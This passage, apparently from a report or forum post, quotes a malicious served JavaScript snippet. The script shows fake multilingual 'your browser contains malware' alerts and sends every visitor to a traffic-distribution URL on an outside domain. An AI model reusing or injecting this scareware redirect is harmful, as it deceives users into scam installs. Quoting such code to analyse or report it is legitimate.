  Here's the served JS for reference:

        var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
      if (lang) lang = lang.substring(0, 2);
      console.log('lang: ' + lang);
  
      var country = 'US';
  
      var msg = 'Your computer is infected. You have to check it with antivirus.';
  
      if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
      if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
      if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
      if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
      if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
      if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
      if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";
  
      if (confirm(msg)) {
          window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertyes' + country + lang;
      } else {
          window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertno' + country + lang;
      }
